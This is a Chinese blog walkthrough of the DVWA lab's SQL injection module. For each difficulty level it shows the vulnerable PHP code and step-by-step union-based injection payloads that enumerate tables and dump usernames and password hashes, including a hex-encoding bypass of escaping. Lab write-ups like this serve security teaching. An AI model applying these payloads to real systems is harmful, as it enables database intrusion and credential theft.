DWVA-关于SQL注入的漏洞详解
本文为漏洞靶场DWVA第七个模块SQL Injection详细解答
low等级
代码如下:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
如上图,代码并没有对输入进行过滤,存在sql注入漏洞
下面开始攻击:
1.判断是否存在注入
输入 1 ---返回正确
输入 1’ ---返回错误
输入 1 and 1=1 ---返回正确
输入 1 and 1=2 ---返回正确
输入 1‘ and ’1‘=’1 ---返回正确
输入 1‘ and ’1‘=’1 ---返回正确
输入 1‘ and ’1‘=’2 ---返回错误(到了这里得出应该存在字符型注入,下面继续验证)
输入 1‘ or ’1‘=’1 ---返回正确(返回很多结果,证明存在字符型注入)
2.猜解查询SQL语句中的字段数
输入 1‘ or 1=1 order by 1# ---返回正确
输入 1‘ or 1=1 order by 2# ---返回正确
输入 1‘ or 1=1 order by 3# ---返回错误(返回结果---Unknown column '3' in 'order clause' 证明字段数为2)
3.确定字段顺序
输入 1' or 1=1 union select 1,2# ---返回两组结果(证明执行的sql查询语句为:select Frist name,Surname from 表 where ID='id')
4.确定数据库
输入 1' or 1=1 union select database(),2# ---确定数据库为 dwva
5.猜解表名
输入 1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' # ---确定表名为 guestbook 和 users
6.猜解列名
输入 1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' # ---爆出8个列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.猜解数据名
输入 1' or 1=1 union select 1,concat(user,'-',password) from users # ---爆出所有数据
medium
代码如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。
我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。
下面开始攻击:
1.判断注入类型
选择1,提交,抓包后更改为 (此操作后续简写为抓包)
1‘ and 1=1 ---返回错误
1 and 1=1 ---返回正常(说明注入类型为数字型注入)
2.判断字段数
抓包
1 order by 1# ---返回正常
1 order by 2# ---返回正常
1 order by 3# ---返回错误(字段数为2)
3.判断字段顺序
抓包
1 union select 1,2# ---返回正常
4.猜解数据库
抓包
1 union select 1,database()# ---成功爆出数据库 dvwa
5.猜解表名
抓包
1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’# ---返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)
1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127# ---返回正常(只能爆出admin表)
1 union select 1,table_name from information_schema.tables where table_schema=0x64767761# ---正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是 ‘dvwa’ ,这一句转的是 dvwa ,转换的时候没有加‘,需要注意!)
也可以这样
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ---爆出表名guestbook,users
6.猜解列名
抓包
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # ---爆出列名
7.猜解数据名
抓包
1 union select concat(user),concat(password) from users# ---爆出所有数据名
high
代码如下:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high级别对提交参数加了一个 limit 1 ,依次来控制输出参数为一个。
此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。
1.判断注入类型
1' or '1'='1 ---字符注入
2.判断字段数
1' or 1=1 order by 2# ---返回正确
1' or 1=1 order by 3# ---返回错误
3.判断字段顺序
1‘ or 1=1 union select 1.2# ---返回正常
4.猜解数据库
1‘ or 1=1 union select 1,database()# ---爆出数据库名
5.猜解表名
1' or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ---爆出表名
6.猜解列名
1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ----爆出列名
7.爆出数据
1' or 1=1 union select group_concat(user),group_concat(password) from users # ---爆出数据
DWVA-关于SQL注入的漏洞详解的更多相关文章
- SQL注入攻防入门详解
=============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...
- SQL注入攻防入门详解(2)
SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...
- [转]SQL注入攻防入门详解
原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...
- 【转载】SQL注入攻防入门详解
滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园 首页 博问 闪存 联系 订阅 管理 随笔-58 评论-2028 文章-5 trackbacks-0 站长 ...
- 程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)
https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面 ...
- Python中防止sql注入的方法详解
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库.下面这篇文章主要给大家介绍了关于Python中 ...
- 1.1 sql注入分类与详解
1.基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来 这里来讲一下报错注入的原理(floor型爆错注入): 0x01:报错过程: 1.rand()用于产生一 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
- SQL Server表分区详解
原文:SQL Server表分区详解 什么是表分区 一般情况下,我们建立数据库表时,表数据都存放在一个文件里. 但是如果是分区表的话,表数据就会按照你指定的规则分放到不同的文件里,把一个大的数据文件拆 ...
随机推荐
- 领扣(LeetCode)对称二叉树 个人题解
给定一个二叉树,检查它是否是镜像对称的. 例如,二叉树 [1,2,2,3,4,4,3] 是对称的. 1 / \ 2 2 / \ / \ 3 4 4 3 但是下面这个 [1,2,2,null,3,nul ...
- error: (-215:Assertion failed) size.width>0 && size.height>0 in function 'cv::imshow'
用Python打开图像始终提示错误 error: OpenCV(4.1.1) C:\projects\opencv-python\opencv\modules\highgui\src\window.c ...
- nexus auto start
cd /etc/init.d ln -s /opt/nexus/nexus-2.3.1-01/bin/jsw/linux-x86-64/nexus nexus chkconfig --add nexu ...
- 作业要求20191107-6 beta week 2/2 Scrum立会报告+燃尽图 05
此作业要求参见:https://edu.cnblogs.com/campus/nenu/2019fall/homework/9958 一.小组情况 队名:扛把子 组长:孙晓宇 组员:宋晓丽 梁梦瑶 韩 ...
- 图解AQS的设计与实现,手摸手带你实现一把互斥锁!
AQS是并发编程中非常重要的概念,它是juc包下的许多并发工具类,如CountdownLatch,CyclicBarrier,Semaphore 和锁, 如ReentrantLock, ReaderW ...
- 【Luogu P3376】网络最大流
Luogu P3376 最大流是网络流模型的一个基础问题. 网络流模型就是一种特殊的有向图. 概念: 源点:提供流的节点(入度为0),类比成为一个无限放水的水厂 汇点:接受流的节点(出度为0),类比成 ...
- The absolute uri: [http://java.sun.com/jsp/jstl/core] cannot be resolved in either web.xml or the jar files deployed with this application] with root cause异常处理及解释
1.问题描述: 在web的jsp文件中想用jstl这个标准库,在运行的时候很自然的引用jar包如下: <dependency> <groupId>javax.servlet.j ...
- http_web_cache
HTTP Web Cache 程序资源的访问具有局部性 时间局部性:一个被访问过的资源很有可能在近期被再次访问. 空间局部性:一个被访问过的资源,它的周边资源很有可能被访问到. 如何衡量缓存的有效性? ...
- LeetCode 5112. 十六进制魔术数字 Hexspeak
地址 https://leetcode-cn.com/problems/hexspeak/ 题目描述字母大写的十六进制字符串,然后将所有的数字 0 变成字母 O ,将数字 1 变成字母 I . 如果 ...
- selenium(java)浏览器多窗口切换处理
要在多个窗口直接切换,首先获取每个窗口的唯一标示符(句柄),通过窗口属性可以获取所有打开窗口的标示符,以集合的形式返回:以下示例: Set<String> winHandels ...